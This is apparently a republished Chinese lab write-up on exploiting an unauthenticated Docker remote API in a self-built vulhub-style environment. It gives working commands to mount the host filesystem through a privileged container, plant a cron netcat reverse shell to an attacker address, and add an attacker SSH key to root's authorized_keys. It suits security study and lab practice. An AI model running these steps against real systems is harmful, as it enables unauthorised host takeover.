当前位置: 首页 > news >正文

vulhub通关笔记1—docker unauthorized-rce

1.docker unauthorized-rce 基本情况

docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供:

  1. 需要在每台机器上安装docker,并且运行Docker Swarm container
  2. 需要一个或多个Swarm manager(主从)来管理docker 节点
  3. 管理的docker节点上需要开放一个TCP端口(2375)来与Swarm manager通信

当Docker守护进程被配置为监听网络端口(通常是TCP端口2375)且未启用适当的身份验证机制时,攻击者可以未经授权访问Docker API。利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。

实际上,这也并非是个漏洞,因为官方文档实际上介绍过上述问题和安全加固方法的(TLS认证或网络访问控制)。

 docker -H tcp://192.168.150.133:2375 ps -a   等同于 docker ps -a

docker -H tcp://192.168.150.133:2375 pull alpline   等同于 docker pull alpline 

2.如何利用

显然,如果能够连接上某个机器的docker api,通过容器逃逸,可以拿到更高的权限。

  • 写公钥,ssh登录
  • 写定时任务,反弹shell

3.环境搭建

要复现这个漏洞,并且成功实现ssh登录或反弹shell,实际上还要调整配置细节。

3.1 vulhub docker环境

由于在国内,docker环境最大的问题是docker源的问题,很多docker源已经失效,阿里巴巴的docker镜像加速只能在阿里巴巴的vps中使用,截止2025年9月,docker镜像源有用是这个:

{"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
}

按照github项目上给出的说明,拉取漏洞镜像,通过http://ip:2375访问,可验证漏洞存在。

但是继续下一步的容器逃逸是难以做到的,因为vulhub起来的是一个有漏洞的容器镜像,它的2375端口映射到宿主机的2375端口,但宿主机本身的docker api没有对外公布,因此,即便容器逃逸也只是拿到了容器的完全控制权。

此外,由于容器本身docker源地址网络不可大,docker pull拉取镜像也会一直失败。

3.2 自己搭建有docker 未授权访问漏洞环境

从清华镜像源,下载Ubuntu最新版本,安装好后。

  • 安装docker
  • 修改docker源
    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<- 'EOF'
    {"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
    }EOFsudo systemctl daemon-reload && sudo systemctl restart docker
  • 安装openssh 。 输入ssh命令,按照提示部署就行。这一步是必须的,因为默认情况下,Ubuntu系统不会开启ssh服务。
  • 修改docker,开启docker api 对外服务 

找到 /usr/lib/systemd/system

修改docker.service服务,注释掉以前的,保存后重启docker服务。

#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock

sudo systemctl daemon-reload && sudo systemctl restart docker

3.3 攻击机kali

在清华镜像源中下载kali,安装docker。

4.容器逃逸

4.1 拿到文件系统权限

基本思路,就是挂载根目录到容器中。

首先,使用docker拉取一个小容器,,然后进入这个容器,挂载根目录。

docker -H tcp://192.168.150.133:2375 pull alpinedocker -H tcp://192.168.150.133:2375 run -it --privileged alpine  /bin/sh 
fdisk -l #一般会看到很多分区,选择系统分区就行,如果没有提示哪个是系统分区,是因为容器问题,选大的就行
mkdir /mmt
mount /dev/sda2 /mnt
cd /mnt
touch flag.txt # 可以去宿主机根目录看看是否有这个文件

也可以直接 进入容器时候就挂载

docker -H tcp://192.168.150.133:2375 run -it -v /:/mnt alpine /bin/sh

4.2  写定时任务

Ubuntu的定时任务在/var/spool/cron/crontab/root之中,可以用nc工具建立一个反弹shell

官方说明也是这种方式

* * * * * /usr/bin/nc your-ip 21 -e /bin/sh

这里要特别提醒一下, Ubuntu一般禁止使用root用户,因此写入的定时任务大概率不会执行,还有一点是目录记得是/var/spool/cron/crontab/root,不是文档里的/etc/crontabs/root。

4.3 写公钥

利用kali中的工具生产一堆rsa公钥,记住公钥和私钥的位置:

ssh-keygen -t rsa   

在原有的文件系统权限下,复制公钥到公钥文件中(容器界面)

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcZibJHyQbAimd9n3WLntDkLQvg1F0qcMnwsiuZmbqCbkmr56lM3ETJ/8zYXCZ7gz3RLhlFipoS6E5yEYkeNEcmskF+XHuU5d3hF6UmfxzqS1zvm1x7QA08YbIhNJdy4KtU54yJWLyEl7Smjiz01f/RToYizejtrNukaYAj4jnHGTFwKNrvpQaY4AhjThRitoXhDVmx+WTliBA71YM/YBac2SHjHh1BVMURdhDNtJWDV11tXmaeTnjSU3kX3rrD7KO2AsN7FysHYa3gSrX+cGj2HEfiCTmle53iHXF5WFwza7abOB/Zh/Ku3u9flxUvhQmNh3+2Abp9O7DDGV7Ggp9lsYR9poIvMntBUoYK8rcnrb0KiLcniw9ogkBtMt8Wx1/mbt/JGj9kzVS2yD4Fitltzut5MQZgaTY+CQUzC+rLD5Cjmao6Lnw/vrwWt2lHD4MUWbFUKuNH79XFPuANApTqi/YP0tETyNCLbQSvnHxVTthndiKVP/k28whr1YgFE= root@kali > /host/root/.ssh/authorized_keys

使用私钥登录

 ssh -i ~/.ssh/id_rsa root@192.168.150.133   


文章转载自:

http://oG7yrRRa.sfrmg.cn
http://bCJHQ6tV.sfrmg.cn
http://U8bxZsns.sfrmg.cn
http://p07BGL7r.sfrmg.cn
http://ImFQTKts.sfrmg.cn
http://ezcNlSzI.sfrmg.cn
http://mqUVwx5f.sfrmg.cn
http://OooXrJ10.sfrmg.cn
http://6joG5B1q.sfrmg.cn
http://zTivzHfd.sfrmg.cn
http://6rr0ByLN.sfrmg.cn
http://N6ubXhFz.sfrmg.cn
http://M6a8c2RB.sfrmg.cn
http://U5mllTwY.sfrmg.cn
http://y4hGELJU.sfrmg.cn
http://u7HhYi72.sfrmg.cn
http://lLEsNUOI.sfrmg.cn
http://qbGimMXP.sfrmg.cn
http://O5aXIdFa.sfrmg.cn
http://L64pU5vY.sfrmg.cn
http://EsnFUcRM.sfrmg.cn
http://xi12ph2S.sfrmg.cn
http://piD3bwDt.sfrmg.cn
http://K1vzUbhg.sfrmg.cn
http://nS82NubB.sfrmg.cn
http://EBK0wNNN.sfrmg.cn
http://NeBxIEUZ.sfrmg.cn
http://H4P1wnCa.sfrmg.cn
http://ReutNZ2A.sfrmg.cn
http://Oc96e85j.sfrmg.cn
http://www.dtcms.com/a/372163.html

相关文章:

  • ZYNQ PS XADC读取芯片内部温度值,电压值。
  • 每日一题(3)
  • 泛型编程(简单介绍,通俗易懂)
  • 扩散模型揭秘:生成式AI的核心与应用
  • 【Flink】Flink Runtime 架构设计
  • MySQL数据库同步
  • 使用 Spring Security 实现 OAuth2:一步一步的操作指南
  • Axure: 分组柱状图1
  • CEEMDAN-PSO-CNN-GRU 锂电池健康状态预测matlab
  • Spring Cloud Gateway 作为一个独立的服务进行部署吗
  • webrtc弱网-LossBasedBweV2类源码分析与算法原理
  • leetcode hot100 二叉搜索树
  • 杂学项目1、S32K144与上位机通信
  • GitHub自动化利器:Probot框架实战指南
  • 一款没有任何限制的免费远程手机控制手机的软件简介
  • 企云网多应用授权系统源码 正版查询系统源码
  • Windows netstat 命令使用说明
  • 软件工程:DO-178中的适航要求核心要素
  • Caffeine Count-Min Sketch TinyLFU实现:FrequencySketch
  • 【系统分析师】第7章-基础知识:软件工程(核心总结)
  • 【拍摄学习记录】00-总结记录
  • 探索 CSS 过渡:打造流畅网页交互体验
  • 大语言模型(LLM)的基本概念
  • unsloth FastLanguageModel类主要函数详解,具体作用和参数
  • HTTPS协议——对于HTTP的协议的加密
  • Qwen2.5-VL翻译
  • 碳纤维和短切碳纤维(中)
  • unsloth 笔记: training的时候进行evaluation
  • 【linux kernel 常用数据结构和设计模式】【数据结构 1】【如何表达数据之间的一对一、一对多、多对多关系】
  • 【软件架构设计(19)】软件架构评估二:软件架构分析方法分类、质量属性场景、软件评估方法发展历程